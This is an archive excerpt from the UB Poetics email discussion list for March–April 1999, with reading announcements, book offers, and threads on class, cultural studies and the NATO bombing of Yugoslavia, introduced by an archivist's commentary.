bed around 22. i couldn't sleep, and suddenly detonations. we all went downstairs, whole city was in darkness. heard detonations for about 20 minutes, somewhere relatively near us. scared. spent few minutes outside in yard. but didn't see anything. arround 4 in the morning another siren, one detonation. continued to sleep.

.....

thanks all friends who are continually in contact by e mail with us!

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393. **sylvester pollet**
Enslin Special Offer
Tue 30 Mar 1999

(Chris, I'm sending this again--I don't think it ever got through) Sylvester

Theodore Enslin's _THEN, AND NOW_ Selected Poems 1943-1993, ed. Mark Nowak (Orono: National Poetry Foundation 1999) is here, and it's a beautiful book. 430 pages, including an interview the editor did at Ted's home in Maine, August 1997.

Regular price: $19.95 paper, $34.95 cloth
Special offer : $15. paper, $28. Cloth. Add $3. for shipping (U.S.) or $5. (international).

send orders to
The National Poetry Foundation, Room 302
5752 Neville Hall
University of Maine
Orono ME 04469-5752

or you can e-mail them to Gail Sapiel <[redacted]> & be billed, but mention the special offer. Here's part of the jacket copy:

"Theodore Enslin began his artistic career as a musician, trained by Nadia Boulanger; and the titles of many of his books suggest his continuing fascination with the "musication" of language: _Etudes, Opus O, Songs w/o Notes, Carmina, The Diabelli Variations_. Like other poets of his generation, such as Robert Creeley, Robert Kelly, and Edward Dorn, Enslin carries forward Charles Olson's sense of the large historical and ethical function of poetry and his dedication, at once ecopoetic and ethnopoetic, to place. Also identified with the Objectivist tradition of Louis Zukofsky, Lorine Niedecker, and George Oppen, he writes about meaning in the dailiness of human life and the ineluctable reality of the things in this world."

Enslin will be reading in Orono April 9--contact me for details, if you're passing through. Sylvester Pollet

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394. **Catherine Daly**
Spelling Bromige
Tue 30 Mar 1999

Well, not Spelling TV, at least. I confess to more interest in the translation (or not) of place names, and their spelling and pronunciation. Shouldn't maps be the same in any language?

How to get to Loyola Marymount: Go toward the airport, and turn at the giant donut. When the street names are the same as the names of famous Jesuits, you're there. When the angelus rings eight, the reading is supposed to start. Try to mill around looking cool, like you're not waiting for the reading. I toured around the business school, and picked up a free bumper sticker being given out by the Center for Ethics and Business, "More Fun than Decent People Think Should be Legal!"

While I believe I am more familiar with Peter Gizzi's work than with Elizabeth Willis', I have her _Human Abstract_ book and none of Peter's books. Therefore, I was struck by the difference between what I thought while reading Elizabeth's poems and what I thought hearing them. I was very interested, reading, about the religious arguments, but was more interested, listening in the grey room, about the images of and from visual art. Ah, Blake, I might say, had she not read mostly new work that was not from _Human Abstract_. A series called "Turneresque" was very enjoyable, and I guess I have to go to the Getty again, something of a scary religious experience itself, to see their Richard Dad painting.

Gizzi's emergent thread was Villon and ballads, IMO.

Rgds,
Catherine Daly
e.g. << new fictitious business name
[redacted]

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395. KENT JOHNSON
Anti-war resources
Tue 30 Mar 1999

Z Magazine has a number of excellent statements on the Yugoslavia bombing: Articles by Noam Chomsky, Edward Herman, Diana Johnstone, position papers by the Green Party USA, War Resisters League, and numerous other things.

A very helpful site for cutting through Washington/ NATO/ CNN propaganda.

http://www.lbbs.org/ZNETTOPnoanimation.html

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396. **Mark Weiss**

Re: Class is . . .

Tue 30 Mar 1999

Mairead: In any multi-ethnic, multi-class environment everyone does this kind of sniffing. When I moved into a largely Irish and Italian neighborhood in Brooklyn the stoop-sitters very quickly quizzed me and pronounced me Jewish. There was no malice in it, ever, and I lived there for close to a decade. What they learned was what category of their experience I fit into, and my behavior was measured against that norm (and served to moderate it to some extent) rather than against what would be expected of an Irishman. It wasn't "What else can you expect from a Jew" but "He's Jewish, which means that x behavior probably indicates..." The ability to maintain and apply disparate approximate models of behavior is a necessary survival skill in cosmopolitan environments. Ethnicity and class are among other things behavioral languages that often need to be translated. My ex-wife, who came from a part of North Carolina where, as she expressed it, there were three classes: Southern, Mountain, and Black, was always amazed at my ability (perfectly average for a New Yorker) to arrive at quick and usually accurate hypotheses about class and origin--her environment, with its fewer and starker distinctions, hadn't trained her to do likewise.

At 10:26 AM 3/29/99 -0500, you wrote:
>On Fri, 26 Mar 1999 [redacted] wrote:
>
>> I'm a girl from the working class and I swear I
>> can smell class. I can sniff it out. I'm rarely wrong.
>> What does this mean? Perhaps that those less privileged
>> become adept at reading class codes--and often at adopting
>> those of the upper classes as a means of survival.
>
>Kathy Lou, this seems to me a very mixed blessing. I suppose there were
>always those who could sniff out a Catholic or a Jew or a Black. Often
>the sniffing is offensive rather than defensive. Sniff away: I find the
>notion obnoxious.
>Mairead
>
>

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397. derek beaulieu / house press
Re: bpNichol's TTA?
Tue 30 Mar 1999

---

charles and etc:
>as in SHARP FACTS: Variations on TTA 26, and some are Nichol's inventions
>concerning possible arrangements of the specific language of the poem.

admittedly i havent seen SHARP FACTS as of yet - altho i am working on getting a copy - and i think that whil esome texts can be reproduced online that i dont know how well TTA works online - esp with the exclusion of some of the more graphical pieces - the light and dust site reproduces solely the text based interpretations / translations. . . what abt some of Nichol's other translation work, like the catallus poems? yrs derek

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398. d.j. huppatz
RADI OS
Wed 31 Mar 1999

Listfolk

Sorry to go back over old ground but I've been searching for a copy of Ronald Johnson's RADI OS & Small Press Distribution said they don't have a copy & it's definitely out of print. Could anyone please give me any leads as to where I might be able to buy a copy (preferably over the internet as I live in Australia)? OR Is anyone out there willing to sell me their copy or happen to have a spare or know of anyone who might?

Backchannel much appreciated.

Dan Huppatz
Melbourne

TEXTBASE WEBPAGE:
<http://www.skynet.apana.org.au/~samiam/textbase/textbase.htm>

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399. Stephen Cope
New Writing Series at UCSD
Wed 31 Mar 1999

The New Writing Series at UCSD announces its spring Schedule of Events.

Unless otherwise noted, all readings take place at the Visual Arts Performance Space on the University of California, San Diego campus at 4:30 PM. Readings are free and open to the public.

* Mervyn Taylor April 7

Mervyn Taylor, who divides his time between New York and his native Trinidad, has published two books of poems, _An Island of His Own_ and _The Goat_, both from Junction Press. He teaches high-school English in Harlem and creative writing at the New School for Social Research.

* Leslie Scalapino April 14

Author of numerous books of poetry, prose, drama, and criticism, Leslie Scalapino's recent publications include _Green and Black: Selected Writings_ (Talisman House, 1996) and a collaboration with Lyn Hejinian, _Sight_ (Edge, 1999). She edits and publishes O Books.

* Aldon Nielsen April 21

Aldon Nielsen is the author of four volumes of poetry, the most recent of which _Vext_ (Sink Press), and four books of literary/cultural criticism, including _C.L.R. James: A Critical Introduction_ and _Black Chant: Languages of African-American Postmodernism_.

* Michael Davidson April 28

Long-time UCSD professor Michael Davidson is an internationally celebrated poet and critic. His most recent book-length punlications are _The Arcades_ (O Books, 1999) and _Ghostlier Demarcations: Modern Poetry and the Material Word_ (U. of California, 1997).

* Kit Robinson May 5

The author of numerous books of poetry, including the recently published _Democracy Boulevard_ (Roof Books, 1998), Kit Robinson has been called by Kevin Killian "one of the most accomplished poets working in America today." He lives in the San Francisco Bay Area.

* Charles Bernstein May 12

* Taking place at the Seuss Room, Geisel Library, UCSD at 4:30PM

Author of over two dozen books of poetry and criticism, Charles Bernstein is the 1999 recipient of the Roy Harvey Pearce/ Archive for New Poetry Prize - awarded biennially to an American poet/scholar. Among his recent publications is _My Way: Speeches and Poems_ (U. of Chicago, 1999).

* Lewis Warsh May 19

Editor and publisher of United Artists Books, Lewis Warsh is the author of two novels, _A Free Man_ and _Agnes & Sally_, a book of stories, _Money Under the Table_, and numerous books of poems, including _Information from the Surface of Venus_ and _Avenue of Escape_.

* In Memoriam Armand Schwerner May 26

A celebration of the life and work of the poet and performance artist Armand Schwerner, with a filmed performance of Schwerner's reading from his masterwork _The Tablets_. Guest appearances by David Antin, Eleanor Antin, Jerome Rothenberg, Quincy Troupe, Mark Weiss, and others.

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400. Rebecca Wolff
The Joy of Poetry
Wed 31 Mar 1999

"Poetry is a calling. You are called to write and you follow."

Grant kindly requests that I elaborate on what I meant by "the joy of poetry" when I intimated that the practical implementation of cultural studies classrooms would have the effect of killing said joy.

Above I quote Susan Howe for my own purposes: For me the joy of poetry--the phrase bringing to mind big, white-jacketed instruction manuals--has always been (and I am going to preface everything I say with "For me" so as to avoid the inevitable universalizing) its quality of given-ness, of temporal rightness, unavoidableness, inevitibility. As a writer of it and a frequent reader of it--though not a student of it--I would argue that the reading of poetry is also a calling, in that there are equivalently inspired moments of comprehension, agreement, pleasure as occur in the writing. Now, I've always wondered about critics: what kind of engagement with a poem do you have to have to write about it (well)? Is it the same kind of feeling of cohesion? I suppose I've now worked my way around to undermining my first complaint, about poetry in the classroom, as I guess my tentative answer to my own question is that critics/students of poetry are not purporting to engage with the poem as merely writer or reader, but also as worker. Poem as material with which to make money by writing papers, getting jobs, getting better jobs? So that the lack of the particular kind of joy I was referring to would not in the end be such a criminal thing, but an allowed exigence.

I faintly realize that I am again treading on eggs what with my distinction here between poem as aesthetic object of transcendent aetheriality and poem as cultural artifact--But I said "For me."

Here's a response to previous responses. I wrote it a couple of days ago but had to stay away from the List for a little bit so as not to get an ulcer.

***

I have decided to try to avoid contention, and so would like to frame most of my response as sincere (ie, not rhetorical) questions. I do realize that some of these questions are naive. I am not an academic but have had close contact with this world, and find it fascinating. The opinions I tried to vent in my earlier posting about cultural studies spring out of my actual practical experience as a student in a classroom such as I have described, wherein the student body's attempt to guess at what the professor was hinting at, and her programmatic approach to the reading list, were depressing and ire-provoking.

It has likewise been pointed out to me that I probably don't really understand what cultural studies IS or undertakes to be, and my response again is that I was trying to speak not about the theory but about my experience of its practice in the actual classroom. I did not mean (disclaimer, apology) to suggest that I recommend "close reading" as the only viable means of teaching poetry, nor that those who take joy in studying poetry through the lens of cultural studies should just stop: (although I guess I sounded like that's what I meant, and I think that's just because contention is the most available tone to strike when making these postings, and that's why I'm going to try to stop after this). I really was just trying to describe what it was like to be a student (middle-class or otherwise; that descriptor was a red herring) in such a classroom at a middle-ground university (also perhaps irrelevant, though if I had left it out that would be a pretty close reading indeed) and to have the experience of an attempt at that shift in modalities as I understood it per the listserv discussion.

Sincere questions:

1) How can the production of increasingly rarified critical papers and books (a production embedded in and directly spurred by a factory-like academic industry) be seen to be an agent for social change?

2) How is it materially different for a grad student to write a paper on, say, Emily Dickinson's love affair with her sister-in-law, and trace its progress through her poems, than for a grad student to write a paper on lesbian inter-family relationships in the early part of the century, and trace the progress of Emily Dickinson's love affair with her sister-in-law as it is visible in her poems? One seems self-contained, and not purporting to impact social anything, and the other goes outside literary circumspection for its points of reference. So is the difference then that one has the potential to effect social change, and the other doesn't? And if that potential is not fulfilled, does that alter the quotient of actual difference between them?

3) OK, so this one's not a question: in response to the relaying of Susan Howe's interview responses to questions of anti-intellectualism and whether a given poem needs to be applicable to everyone or just to a few: However anachronistically, I do continuue to believe that poems, once shot out, are beyond the control of the poet, and so the kinds of responses to them that are had by readers are also out of the poet's control. So if I choose to read Susan Howe without the benefit of knowing, again, what her husband's job was, or even knowing how she would LIKE me to read the poems, then that's mah perogative. And if that makes me not her chosen reader than that's really OK; I can continue to read her. And if that makes me un- or anti- intellectual then those are my own unfortunate limitations and I suppose I am to be pitied rather than despised.

I would also like to suggest that Ms. Howe's response is to be reviewed: I thought I detected a certain archness which did not in fact indicate "enragement" over the idea that some readers would not be qualified/equipped to read her work as she wanted it read, but instead bemusement that the question should be thrown upon her. True, I have a tendency to read archness in often where it is not, but again I suppose this is harmless, and makes reading--and writing--a whole lot more fun for me than it otherwise might be.

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401. David Baratier

Re: Class is . . . (fwd)

Wed 31 Mar 1999

I can smell class, they almost fired me for it once.

Survival is survival. Gertrude Stein.

Smell whitey.

Really. Smell has nothing to do with class. The chain bottom of survival is a process of watching others and knowing your limitations. To anticipate their next move from the last. To know where things are. Mix desperation with cool to ask at the right moment. The right moment has a lot to do with it. But it is watching and understanding the nature of the subject until the moment.

Be well

David Baratier

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

April 1999

92 messages · Tue 30 Mar 1999 – Mon 5 Apr 1999

Of April 1999 the archive keeps only five days — it opens on the first and breaks off on the fifth — but they are five days of a particular weather. It was National Poetry Month, and it was the second week of NATO's bombing of Yugoslavia, and the newly moderated Poetics list held both at once. Charles Bernstein set the key on the first, announcing an essay of his just posted online, Against National Poetry Month as Such: the cruelest month, as the old line has it, arriving this year over a war. What those five days show, the more clearly for being so few, is a room reconstituted three months earlier and now quietly testing whether it could still do the one thing moderation had seemed to cost it — think.

It could. The fullest thread was opened by Juliana Spahr, who came back from a conference and a talk on Carolyn Chute unable to stop turning over the question of class — how a room of poets might speak about it honestly, given how many people slip up and down it all their lives. She refused every easy marker: was Lyn Hejinian middle-class, and by what measure; did an adjunct's job, or a scholarship to Yale, settle anything; was class income, or upbringing, or only culture. *"It is hard to quantify, much less smell or generalize"*, she wrote, and the thread that followed was the new list at its best — a hard subject held open, carefully, by people genuinely asking rather than scoring points. This was a discussion the December list could no longer have had.

The war was in the room too, as it had been all spring. The moderator's new charter formally admitted political news, and so the bombing entered the way it could: Kent Johnson forwarded a dissenting analysis, Five Myths of NATO's War, lifted from Z-Net — the falling of American bombs on Belgrade turned, on a poetry list, into a document to be weighed and argued. The room did not look away from Kosovo; it did what it does with everything, and made it a text.

And presiding over all of it, uneasily, was the new moderator. Pressed on the list's ideological limits, Christopher Alexander answered in public with a candour that gave the month its strangest and most touching note — a man wrestling aloud with the power he had been handed, naming himself, with a wince, *"my own position as arbiter of the list"*. He was governing a room three months out of a war it had waged on itself, and he knew it: every rule he wrote, he feared, was a rule he would be accused of writing.

Then, on the fifth, the record simply stops — not in collapse this time, the way December had ended, but the way a held breath ends: mid-thought, mid-argument, the class thread still open, the bombs still falling, the moderator still at the door. I have set Spahr's careful questions beside Alexander's unease exactly as those five days delivered them, because together they are the sound of a list learning to live under its own new law — quieter than it was, and, for the first time in a long while, thinking clearly enough to be worth the quiet.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 92 in all.

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84. John Cayley — whatsoever we serve
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91. Mark Weiss — Query
92. Michael Krebs — Re: Poetics In A Gaseous State

1. WENDY KRAMER
check it out
Tue 30 Mar 1999

The following titles showed up on a recent book order list for the branches of the new york public library. please note that they are not yet in the catalog; however, i'm posting them now because later, i'll forget. look for them in the catalog in a few weeks (i don't know how many weeks):

Matinees by Ange Mlinko

Nicholodeon: a book of lowerglyphs by Darren Wershler-Henry

dont forget you can access the new york public library catalogs ("leo" for the branches) at their website: www.nypl.org

p.s. the ray johnson sites are swell! thanks

wendy

p.p.s. the surrealist women anthology i mentioned in former posts is really gripping. but, i agree with listee nancy burr: not enuf pics! mimi parent is a personal fave. there's a lot of collagists in there. the scope is lovely. . . from the 1920s to the present, from all over the world. hmpf! i , ignorantly, had thot that surrealism was a short-lived, mostly french movement. the introductions to individual chapters are really good . the feminism is right on. for me, it's a great introductory textbook to surrealism generally. the point being, of course, that women have always been so much _in_ surrealism "generally."

↑ Index

2. WENDY KRAMER
Re: ray johnson mail art tribute
Tue 30 Mar 1999

in response to pete spence about whether the whitney did indeed exhibit contemporary mail art sent in tribute to ray

yes there was a small glass case with a sampling of stuff on a pedestal as you left the exhibit to go towards the elevators. i had gotten a flyer about it and had expected that portion to be larger. the mail art was sort of all piled up together, as i remember it. i too sent something for ray i made him a corregated love pome 7: correspondance for ray johnson. dunno what happened to it i left it with the receptionist wrapped in bubble wrap in a grocery bag.

wendy

↑ Index

3. **travmar03**

Fw: a Talk by poet Stephen Rodefer

Wed 31 Mar 1999

-----Original Message-----
From: Writers House <[redacted]>
To: [redacted]
<[redacted]>
Date: Wednesday, March 31, 1999 2:22 PM
Subject: a Talk by poet Stephen Rodefer

> *Dear Philadelphia Poets! Join us Saturday for a talk by poet Stephen Rodefer at Writers House, followed by a reading at the Highwire Gallery with Rodefer and Shawn Walker.*
>
> _____
>
> *saturday*
> *april 3*
> *at 5:00 PM*
> *at the Kelly Writers House, 3805 Locust Walk*
> *the Transparency Machine series at the Kelly Writers House*
> *and Highwire Gallery present*
>
> *+ + + + + + + + + + + + + + + +*
> *S T E P H E N R O D E F E R*
> *+ + + + + + + + + + + + + + + +*
> *"The Age in its Cage:*
> *A Social Allegory of Literature and the Deformation of the Canonymous"*
>
> *Stephen Rodefer is the author of several collections of poetry, including _Left Under a Cloud_ (1999), _Answer to Doctor Agathon_ (1995), _Erasers_ (1994), _Leaving_ (1992), _Emergency Measures_ (1987), and _Four Lectures_ (1977). Rodefer recently returned to the United States following three years teaching in Paris and two at Cambridge. He lives and works in Williamsburg, Brooklyn. He has been associated with the Language School Poets and was a student of Charles Olson. He has also taught at San Francisco State University, University of New Mexico-Albuquerque, and others.*
>
> *The Transparency Machine Series gives writers the chance to situate their work in the context of wider cultural practices -- reading, writing, the visual arts, theory, politics, and mass media.*
>
> *Followed by an 8:00 pm reading by Stephen Rodefer and Shawn Walker at the Highwire Gallery, 139 N. 2nd Street, between Race and Arch.*
>
> *from Rodefer's "Subtraction" in _Passing Duration_:*

> *The distance is impossible for each to span. We separate ourselves with a manner of rest, gestures, syllables. Rapid hockets return what left us edgy. The aspect speaks marks, gains favor, slams margins, at last is only money. Space is saved. Agreement names the song the sixth intelligence and we pass along. Solid main we fasten, and only green are wise, only grave are mild. The enamel of our lips is highly lit, so luminous we become as seen.*
>
> *I saw the election with my companions and raised my eyelids higher, sitting in the philosophy of a family. There was a good collection of qualities, but there was not a moral nor geometries, though endless avid rows made the record of their comment. The graveyard lapped the swing where love and work were one. Dido lost her liveliness in the theme that chases this. The word again did fail its argument. The group diminishes to three. And in the other shift the loop that led us there, from pant to hat, from triangle to hair, was cut and reassessed to be a brow beak. Then nothing alone which was not light; nothing does which is not done.*
>
> *Still they beckon the descent. The diminished human world proposes shortening. But it cannot. The ground survives forewarned.*
>
> ---
> *The Kelly Writers House* [redacted]
> *3805 Locust Walk 215-573-WRIT*
> *Philadelphia, PA 19104 http://www.english.upenn.edu/~wh*

↑ Index

4. Andrew Epstein
Poetry Reading (NYC)
Wed 31 Mar 1999

This is a multi-part message in MIME format.

charset="iso-8859-1"

I announced this reading quite a while ago, but I thought it might be a = good idea to post a reminder.

Hope to see some of you there!

_____

The F. W. Dupee Poetry Reading Series Presents:

GARY LENHART

&

EILEEN MYLES

Introduced by Kenneth Koch

Tuesday, April 6,=20
8 PM

Maison Francaise
Columbia University
(116th & Broadway)

Admission Free

GARY LENHART is the author of several books of poetry, including Father = and Son Night (1999), Light Heart (1991). He is the editor of The = Teachers & Writers Guide to William Carlos Williams (1998). =20

EILEEN MYLES's poetry collections include Not Me (1991), Maxfield = Parrish (1994), and School of Fish (1997), and she is also the author of = several short story collections, including Chelsea Girls (1994). =20

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(1994), and School of Fish (1997), and she is also the author of several =
short=20
story collections, including Chelsea Girls (1994). =20
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↑ Index

5. Kevin Gallagher
(no subject)
Wed 31 Mar 1999

For those of you in and around Manhattan. I have 7 tickets (4 for Saturday, 3 for Sunday, they were $15/tik) to the Peoples Poetry Festival next weekend. Unfortunately, we won't be coming down for it.

If one or a number of you would like them I'd like to give them away - I'd hate to have them go to waste.

Perhaps interested parties could make a modest donation to compost (if over $8 you'd get you our new issue), but that's not necessarily necessary.

Please email.
****
Kevin Gallagher
compost magazine
po box 226
jamaica plain, ma

02130
[redacted]
****

↑ Index

6. Robin Tremblay-McGaw
class is
Wed 31 Mar 1999

Coming from basically a working class background myself, I found Kathy Lou Schultz's list an accurate and provocative one. I have experienced that state of hyper-awareness of codes and signs that communicate all kinds of information and have the power to exclude if one is on the outside.

Shame is at the intersection of class and gender. Exposing the roots (oops, actually typed "rot") of shame as something to be addressed, redressed in writing. This has to do with exposing what someone earlier referred to as the rougher sides of life and hacking away at the miss manners of polite, stay inside the lines, writing.

An earlier message never made it to the list (re Dodie's reply to my message) which stated, basically, go get 'em Dodie. Keep pushing those boundaries.

Robin

↑ Index

7. Kevin L. Magee
Re: "town crier"/Cauleen Smith in Cleveland
Wed 31 Mar 1999

Gerald Schwartz wrote:
>
> Is there any validity to considering this a question of who sets the agenda? I
> poet's "explanation" of a reality may serve as the context in which a reader
> considers the meaning of an "event", even if the reader nd the poet have
> diametrically opposede renderings of the same occurence.
> By strssing poetry as information, I do not mean to suggest that a poem's
> information is the only source. But, given the audience, may be of a limited
> power in swaying. Take it further, there are probably poetic productions that
> lower their audience's aspirations to advance.
>
> What I mean to suggest is that a poem can impart to occurences their public
> persona/character as it transforms a mere happening to a publically
> recognizeable event. Along these lines I am thinking of some performances as

> the modern replacement of the town crier. Some performances, perhaps more in a
> griot tradition, track "fires", reporting on them, while offering help or
> initiating criticism as appropriate.
>
> Gerald

Event Note: 23rd Cleveland International Film Fest

Q & A after the 3/26 showing:
"all the post-production
we shot it in the summer of 95
there was always a constant scramble for money
  to get it done
I basically wrote the part for him
most of the other parts were from the Bay Area
cast locally in Oakland and San Francisco
there are predators there
in the dominant culture, people are quite fond
  of their serial killers
how little value the lives of those children had
  until it became a national scandal
moved back up to Oakland to shoot the film
it's not every kid with a gun
it's where I started making films
I always forget to name someone--
  John Sayles, Antonioni, Godard
Q: do you have a distribution deal?--No.
grants is always tricky. the lifeblood
  of a lot of artists
the tendency is to support more older artists
I shot the film on 16 millimeter
the first grant that I got
it's a huge validation for an artist
I told them I was going to make a short
   which I didn't clearly
a little black film festival in Martha's Vineyard
and then it went to San Francisco
it was in Berlin. it just played in Paris last week.
it just wasn't ever in my mind a gang film
DRYLONGSO--an anthropologist, he went down
interviews with working-class blacks
they would say, "I'm just DRYLONGSO"

(I'm just ordinary people / same old thing)
it has a lot of different meanings
next project? I'm working on a script
I AM FURIOUS BLACK / social change

A discursive note: DRYLONGSO operates on several levels among which is a strong social-real picturing, the site West Oakland and story: Pica, a beginning photography student who shoots back in one scene at a lecturer's artspeak about "women and sensuality" etc. etc. with "Bitch, what the fuck are you talking about?" Her challenge gets heard as an attitude, not as an appropriation of street speech to invite the lecturer--a "sister"--to rethink what she not thinking about merely recycling (art school stock-in-trade by now?) Maybe she's looking for an interaction by trying to provke a reaction. Instead she gets a lecture about her absenteeism and lack of a professional camera. Pica takes snapshots of black males with a polaroid, i.e., "don't nobody want negatives of themselves passing around"--why? "If you take their picture you won't use their picture against them." "I'm preserving the evidence . . . some kind of trace of their existence." (Pica in conversation at a bus stop). Maybe Pica's project needs to be thought about re the mass media's using genocide to justify the newest NATO bombings. There have been bodies piling up in the U.S. for a long time now. Economics or ethnic cleansing? Is Smith's Pica saying that the West Oaklands of the U.S. are proto labor/death camps? (Memory of a report in a 1994(?) issue of Mirage on talk by Agamben about concept of the camp). Mumia's death-sentence shouldn't be separated from his paritsan journalism on MOVE and the incineration of 60 homes in a West Philly working-class black neighborhood on Mother's Day (1986?) "Silence is complicity"--Greek Artists Against the War posted Mon, 29 Mar 1999 to B92.

Kevin

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8. Charles Alexander
anthology offer
Wed 31 Mar 1999

---

dear poetics list:

There is an organization called POG that started in Tucson informally in the winter/spring of 1997 and has proceeded to build a reading series and present, in total, some 47 writers and artists from Feb. of 1997 until now (or actually predicting through June of this year, which will end the current year's series).

To keep this series alive, we have to do a certain amount of fundraising. One way we are doing that right now is that we have created an anthology of writers/artists from the series. We didn't get absolutely everyone who has

presented in the series, and we intend to correct that with a second anthology next year.

This book is 60 pages, was produced via quick-print shop and then hand-sewn in three signatures plus front & back covers in the Chax Press studios. It is co-published by POG and Chax Press. It sells for $10. Checks can be made out to POG and sent to POG c/o Chax Press at 101 W. Sixth St., no. 6, Tucson, AZ 85701. Or you can call [redacted] and place an order via credit card. Please add $1 per book for book rate shipping, or add $3.20 for priority mail shipping if within the USA. For non-USA orders, email me and we'll work out shipping costs. If you buy TWO copies or more, shipping costs are waived (for book rate shipping within USA).

Because this is a fundraiser, we can't offer any further discounts or trades at this time. Thank you.

Please send questions via email to [redacted] and not to the poetics list.

Here is the list of contributors:

Tom Mandel
Steve McCaffery
Karen Mac Cormack
David Bromige
Roberto Tejada
Cynthia Miller
Bob Perelman
Leslie Scalapino
Sheila E. Murphy
Mei-mei Berssenbrugge
Charles Alexander
Rae Armantrout
Clayton Eshleman
Alex Garza
Michael Davidson
Lisa Cooper
Kevin Killian
Nancy Solomon
Barbara Penn
Douglas Barbour
Stephen Scobie
Eli Goldblatt
Adelle Foley
Jack Foley
Norman Fischer

Jen Bervin
Peter Ganick
David Shapiro
Dan Featherston
Hung Q. Tu
Maggie Jaffe

---

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

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9. Maria Damon

Re: LYNN KELLY's Q & SUSAN HOWE'S A

Wed 31 Mar 1999

---

i agree w/ magee: one of my favorite anecdotes is about Aime Cesaire's being asked about the reception of his work by Martiniquan peasants; aren't they alienated by the erudition of it, he was asked. not in the least, he said; they're the most receptive and enthusiastic audience i've had. i always cite this to students who are afraid that their increasing erudition will alienate them from their "community."

At 8:46 AM -0500 3/30/99, Michael Magee wrote:
>According to Mark Prejsnar:
>>
>> These questions about educational level, etc., are often thrown at
>> interesting poetry; and are very instructive for what they suggest about
>> the person asking 'em..
>>
>
>Mark's absolutely right here - who brings up these questions in most
>cases? - highly educated mainstreamers, no? In places like NYTBR, no? As
>evidence to the contrary of this correlation btwn "experimental" and
>educated "elite" I'd point to the many poets I know working in various
>"poetry in the schools" projects and to one specific example: Susan
>Stewart using Harryette Mullen's *Muse & Drudge* in a literacy program and
>then having Harryette flown in to read for those students, to great affect
>and much fun, I hear. Elitist? Hardly. In contrast, could *anything* be
>more alienating to, say, an undereducated, working class person than, say,
>Richard Wilbur's "Still, Citizen Sparrow"? Now *that's* a poem which
>requires the full regalia of a long and evil "education." -m.

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10. Maria Damon

Re: The Joy of Poetry

Wed 31 Mar 1999

At 8:08 AM -0500 3/31/99, Rebecca Wolff wrote:
...
>
...I suppose I've now worked my way around to undermining my first
>complaint, about poetry in the classroom, as I guess my tentative answer to
>my own question is that critics/students of poetry are not purporting to
>engage with the poem as merely writer or reader, but also as worker. Poem
>as material with which to make money by writing papers, getting jobs,
>getting better jobs? So that the lack of the particular kind of joy I was
>referring to would not in the end be such a criminal thing, but an allowed
>exigence.

you seem here (implicitly) to be equating "cultural studies" with careerism. to the extent that such an equation holds, it is not inherent to cultural studies but *can be* a part of university culture.

...

> *Sincere questions:*
>
> *1) How can the production of increasingly rarified critical papers and books (a production embedded in and directly spurred by a factory-like academic industry) be seen to be an agent for social change?*

there is nothing inherently more "rarified" about essays written from a cultural studies perspective than essays written by, say, Allen Tate or Helen Vendler. Why are terms like "dramatic irony" or "persona" not considered jargon, while "binary" or "hegemony" are? As for social change, agency for social change can happen at all levels, though its efficacy can be debated. i don't know any cultural studies scholars who would claim that cultural studies scholarship ALONE can bring about meaningful social change.
>
>2) How is it materially different for a grad student to write a paper on,
>say, Emily Dickinson's love affair with her sister-in-law, and trace its
>progress through her poems, than for a grad student to write a paper on
>lesbian inter-family relationships in the early part of the century, and
>trace the progress of Emily Dickinson's love affair with her sister-in-law
>as it is visible in her poems? One seems self-contained, and not purporting
>to impact social anything, and the other goes outside literary

>circumspection for its points of reference. So is the difference then that
>one has the potential to effect social change, and the other doesn't? And
>if that potential is not fulfilled, does that alter the quotient of actual
>difference between them?

how are you measuring "social change?" as an academic i sometimes think that if i have gotten one working class student into a doctoral program, or seen one mind change out of the hundred-odd students i see in a year, i will have "effected social change." ten years ago, everytime i mentioned anything with homoerotic content in the classroom, several folks would get up, walk out, and make a point of slamming the door. that doesn' happen now. why? it's not because of my own efforts, nor because ofthe public visibility of ACT UP, but because Clinton's botched gays-in-the-military forced a *mainstream*, public debate about these matters took the taboo sting out of the topic. this may make clinton and jesse helms more effecitve agents of social change than i, but i do not believe it wise for me to give up what i love doing to become a baby-kissing politician in order to effect social change.
>
>3) OK, so this one's not a question: in response to the relaying of Susan
>Howe's interview responses to questions of anti-intellectualism and whether
>a given poem needs to be applicable to everyone or just to a few: However
>anachronistically, I do continuue to believe that poems, once shot out, are
>beyond the control of the poet, and so the kinds of responses to them that
>are had by readers are also out of the poet's control. So if I choose to
>read Susan Howe without the benefit of knowing, again, what her husband's
>job was, or even knowing how she would LIKE me to read the poems, then
>that's mah perogative. And if that makes me not her chosen reader than
>that's really OK; I can continue to read her. And if that makes me un- or
>anti- intellectual then those are my own unfortunate limitations and I
>suppose I am to be pitied rather than despised.
>
>I would also like to suggest that Ms. Howe's response is to be reviewed: I
>thought I detected a certain archness which did not in fact indicate
>"enragement" over the idea that some readers would not be
>qualified/equipped to read her work as she wanted it read, but instead
>bemusement that the question should be thrown upon her. True, I have a
>tendency to read archness in often where it is not, but again I suppose
>this is harmless, and makes reading--and writing--a whole lot more fun for
>me than it otherwise might be.

well, this doesn't directly bear on the issue of poetry and cultural studies, which is my passion, so i have no response.

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11. kathylou

Re: Class is . . . (fwd)

Wed 31 Mar 1999

I'm not so easily silenced. If it weren't for
transgressive writing practices that dare to speak the
unspeakable, much of contemporary literature wouldn't be
worth reading. See, for example, Dodie Bellamy's _The
Letters of Mina Harker_. Thank goodness she didn't shut
up. And class for god's sake is one of the unspeakable,
unnameable issues in American culture.
Kathy Lou Schultz
> Dear Kathy Lou Schultz:
>
> You quickly learn to keep such knwledges secret unless you're looking
> for a fight. See Melville's _White Jacket_.
>
> Best,
> Mike
>
> > Mairead,
> > I don't care if you think it's obnoxious. Survival is
> > survival. One does what one needs to do in order to
> > survive. For poor and working class folks survival is
> > often the name of the game--not "offense." In any case,
> > you're just trying to turn what I said on its head without
> > responding to the crux of my point, which I find
> > obnoxious. Backchannel further, please.
> > Thank you.
> > Kathy Lou Schultz
> > >
> > >

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12. Mairead Byrne
Re: Class is . . .
Wed 31 Mar 1999

Well, I accept that, Mark. I associate sniffing with the ferreting out of undesirables. Your association sounds friendlier: a little like the agreement on boundaries, achieved as a result of an impressive dispersal of urine, between a man and a wolf in a recent movie I saw.

